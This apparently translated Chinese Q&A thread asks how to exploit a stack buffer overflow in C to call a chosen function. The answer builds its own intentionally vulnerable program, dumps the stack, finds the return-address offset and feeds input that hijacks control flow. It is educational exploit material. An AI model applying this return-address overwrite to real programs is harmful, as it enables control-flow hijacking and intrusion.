2014-09-29 43 views
-1

我有這塊代碼,顯然包含緩衝區溢出,因爲我可以輸入超過4個值到數組a中。我想使用緩衝區溢出來調用一個函數。我知道這個函數的地址。我知道我需要覆蓋函數返回地址,但我不知道如何實際執行此操作?另外,如果我設置n = 5並將5個值寫入數組a,程序不會崩潰,即使只有內存分配了4個值。爲什麼會這樣,我能做些什麼來使程序崩潰?我使用的是舊版本的Ubuntu,它不檢查緩衝區溢出。如何使用緩衝區溢出調用函數?

int a[4]; 
for (i = 0;i <n ;i++) 
printf ("\n a[%d] = %x, address = %x", i, a[i], &a[i]); 
printf("\nEnter %d HEX Values \n", n); 
for (i=0;i<n;i++) 
    scanf("%x",&a[i]); 
    printf("Done reading\n"); 
+0

目前尚不清楚你想要什麼,爲什麼。 – 2014-09-29 19:51:04

+0

編寫更多數據,它最終會以足夠的數據崩潰。您需要覆蓋堆棧中存儲的返回值。 – m0skit0 2014-09-29 19:51:09

+0

您將需要更多信息(或在試驗和錯誤期間耐心等待)才能成功利用此代碼。至少,你需要整個函數的代碼,並且知道體系結構,編譯器和操作系統。 – 5gon12eder 2014-09-29 19:51:32

回答

0

下面是一個利用我的系統上工作(在x86_64 GNU/Linux的GCC)。請不要告訴我,你已經嘗試過它,但它「沒有工作」 - 程序故意調用未定義的行爲,而這本質上是不可移植的。 C標準中沒有任何內容說編譯器必須生成易於以便攜方式利用的代碼。

舉一個完整的例子,我修改了一下代碼。首先,一些標題:

#include <assert.h> 
#include <stdint.h> 
#include <stdio.h> 
#include <stdlib.h> 

這是我們希望利用這個漏洞的功能:

static int 
vulnerable(void) 
{ 
    uint64_t a[4]; 
    int n; 
    int i; 
    for (i = 0; i < 10; ++i) 
    printf("a[%d] = 0x%016lX\n", i, a[i]); 
    printf("Enter the number of values: "); 
    scanf("%d", &n); 
    for (i = 0; i < n; ++i) 
    { 
     printf("Enter value %d of %d: ", i, n); 
     uint64_t temp; 
     scanf("%lX", &temp); 
     if (temp) 
     a[i] = temp; 
    } 
    for (i = 0; i < 10; ++i) 
    printf("a[%d] = 0x%016lX\n", i, a[i]); 
    return n; 
} 

我已經修改了代碼一點,這樣它將只寫非零值。這使得我們覆蓋不想覆蓋的東西的可能性更小。這當然是不必要的,因爲在這種情況下,我們可以簡單地輸入我們知道已存儲在地址中的值。

這裏是我們想調用的函數:

static void 
target(void) 
{ 
    printf("Exploit succeeded!\n"); 
    exit(0); 
} 

爲了避免閱讀彙編或反編譯的對象,我們將添加一些診斷輸出到main功能。應該清楚的是,漏洞利用不依賴於此。

int 
main() 
{ 
    assert(sizeof(void *) == sizeof(uint64_t)); /* (1) */ 
    printf("%p return\n", (&&label));   /* (2) */ 
    printf("%p target\n", target);    /* (3) */ 
    vulnerable(); 
label: 
    return 0; 
} 

行(1)只是爲了確保我們正在假設正確的地址大小。在第(2)行中,我們打印當vulnerable被調用時在棧上的返回地址。 (&&label語法是用於獲取標籤地址的GCC擴展。)第(3)行輸出目標函數的地址。

我們不希望編譯器做可能會破壞我們的漏洞,所以我們會禁用所有的優化和編譯,如智能的東西:

 
$ gcc -O0 -o main main.c -static 

然後,當我們運行程序,它可能輸出以下:

 
$ ./main 
0x400e44 return 
0x400dfb target 
a[0] = 0x0000000000000001 
a[1] = 0x0000000000000001 
a[2] = 0x00007FFF3E81E588 
a[3] = 0x00000000004014F7 
a[4] = 0x0000000000400290 
a[5] = 0x00000005006B4310 
a[6] = 0x00007FFF3E81E4A0 
a[7] = 0x0000000000400E44 
a[8] = 0x00000000006B4310 
a[9] = 0x0000000000401093 

我們迅速發現返回地址偏移量爲7 我們不妨從認真閱讀彙編代碼獲得同樣的知識。知道什麼是我們必須做的,我們喂計劃用:

 
Enter the number of values: 8 
Enter value 0 of 8: 0 
Enter value 1 of 8: 0 
Enter value 2 of 8: 0 
Enter value 3 of 8: 0 
Enter value 4 of 8: 0 
Enter value 5 of 8: 0 
Enter value 6 of 8: 0 
Enter value 7 of 8: 0x400dfb 

以下輸出告訴我們,我們已經成功地改寫了返回地址和該漏洞確實成功了。

 
a[0] = 0x0000000000000001 
a[1] = 0x0000000000000001 
a[2] = 0x00007FFF3E81E588 
a[3] = 0x00000000004014F7 
a[4] = 0x0000000000400290 
a[5] = 0x00000005006B4310 
a[6] = 0x00007FFF3E81E4A0 
a[7] = 0x0000000000400DFB 
a[8] = 0x00000000006B4310 
a[9] = 0x0000000000401093 
Exploit succeeded!